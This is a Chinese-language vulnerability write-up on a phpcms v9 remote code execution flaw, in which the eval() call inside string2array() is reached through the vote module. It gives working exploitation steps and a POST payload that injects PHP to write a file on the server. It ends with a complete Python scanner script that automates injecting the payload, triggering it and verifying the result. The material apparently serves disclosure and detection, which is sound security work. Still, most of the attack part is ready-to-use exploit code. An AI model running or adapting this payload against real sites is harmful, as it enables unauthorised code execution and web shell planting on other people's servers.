phpcms前台任意代码执行(php需低于5.3)

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php

/**
* 将字符串转换为数组
*
* @param	string	$data	字符串
* @return	array	返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
	if($data == '') return array();
	eval("\$array = $data;");
	return $array;
}

在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程

	/**
	 * 处理投票
	 */
	public function post(){
		$subjectid = intval($_POST['subjectid']);
		if(!$subjectid)	showmessage(L('vote_novote'),'blank');
		//当前站点
		$siteid = SITEID;
		//判断是否已投过票,或者尚未到第二次投票期
		$return = $this->check($subjectid);
 		switch ($return) {
		case 0:
		  showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
		  break;
		case -1:
		  showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
		  break;
		}
		if(!is_array($_POST['radio'])) showmessage(L('vote_nooption'),'blank');
    	$time = SYS_TIME;
 		
   		$data_arr = array();
  		foreach($_POST['radio'] as $radio){  //接收POST传递的radio并转换为$radio数组
  			$data_arr[$radio]='1';
  		}
  		$new_data = array2string($data_arr);//转成字符串存入数据库中  
  		//添加到数据库
		$this->vote_data->insert(array('userid'=>$this->userid,'username'=>$this->username,'subjectid'=>$subjectid,'time'=>$time,'ip'=>$this->ip,'data'=>$new_data));
		//把字符串$new_data放到data里面
 		//查询投票奖励点数,并更新会员点数
 		$vote_arr = $this->vote->get_one(array('subjectid'=>$subjectid));
  		pc_base::load_app_class('receipts','pay',0);
		receipts::point($vote_arr['credit'],$this->userid, $this->username, '','selfincome',L('vote_post_point'));
 		//更新投票人数 
 		$this->vote->update(array('votenumber'=>'+=1'),array('subjectid'=>$subjectid));
		showmessage(L('vote_votesucceed'), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
	}
	
	/**
	 * 
	 * 投票结果显示 
	 */
	public function result(){
		$siteid = SITEID;
		$subjectid = abs(intval($_GET['subjectid']));
		if(!$subjectid)	showmessage(L('vote_novote'),'blank');
		//取出投票标题
		$subject_arr = $this->vote->get_subject($subjectid);
		if(!is_array($subject_arr)) showmessage(L('vote_novote'),'blank');
		extract($subject_arr);
		//获取投票选项
		$options = $this->vote_option->get_options($subjectid);
		
		//新建一数组用来存新组合数据
        $total = 0;
        $vote_data =array();
		$vote_data['total'] = 0 ;//所有投票选项总数
		$vote_data['votes'] = 0 ;//投票人数
		
		//获取投票结果信息
        $infos = $this->vote_data->select(array('subjectid'=>$subjectid),'data');	
		//循环每个会员的投票记录
		foreach($infos as $subjectid_arr) {
				extract($subjectid_arr);
 				$arr = string2array($data);//调用了string2array进入eval函数 
 				foreach($arr as $key => $values){
 					$vote_data[$key]+=1;
				}
 				$total += array_sum($arr);
				$vote_data['votes']++ ;
		}
 		$vote_data['total'] = $total ;
 		//SEO设置 
		$SEO = seo(SITEID, '', $subject, $description, $subject);
   		include template('vote','vote_result');
	}

所以执行的过程就是
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据

/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");

3.然后我们再查看result,触发string2array函数

/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1

4.再看看是否有readme.php文件存在。

附上一个用于bugscan检测脚本

# !/usr/bin/dev python
# -*- coding:utf-8 -*-

import re
import urllib
import urllib2


def get_vote_links(args):
    vul_url = args
    vote_url = '%sindex.php?m=vote' % vul_url
    code, head, res, _, _ = curl.curl(vote_url)
    ids = []
    for miter in re.finditer(r'<a href=.*?subjectid=(?P<id>\d+)', res, re.DOTALL):
        ids.append(miter.group('id'))
    if len(ids) == 0:
        return None

    return list(set(ids)) 


def assign(service, args):
    if service == 'phpcms':
        return True, args
    pass


def audit(args):
    vul_url = args
    ids = get_vote_links(args)
    if ids:
        for i in ids:
            exploit_url = '%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1' % (vul_url, i)
            payload = {'subjectid': 1,
                       'radio[]': ');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");'}
            post_data = urllib.urlencode(payload)
            curl.curl('-d "%s" %s' % (post_data, exploit_url))
            verify_url = '%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1' % (vul_url, i)
            curl.curl(verify_url)
            shell_url = '%sbugscan.php' % vul_url
            code, head, res, _, _ = curl.curl(shell_url)
            if code == 200 and 'vulnerable test' in res:
                security_hole(vul_url)
    pass


if __name__ == "__main__":
    from dummy import *
    audit(assign('phpcms', 'http://www.example.com/')[1])

发表评论